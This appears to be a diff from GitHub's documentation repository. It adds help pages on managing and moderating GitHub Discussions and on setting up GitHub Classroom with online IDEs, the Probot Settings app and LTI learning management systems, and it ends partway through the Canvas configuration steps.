link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | 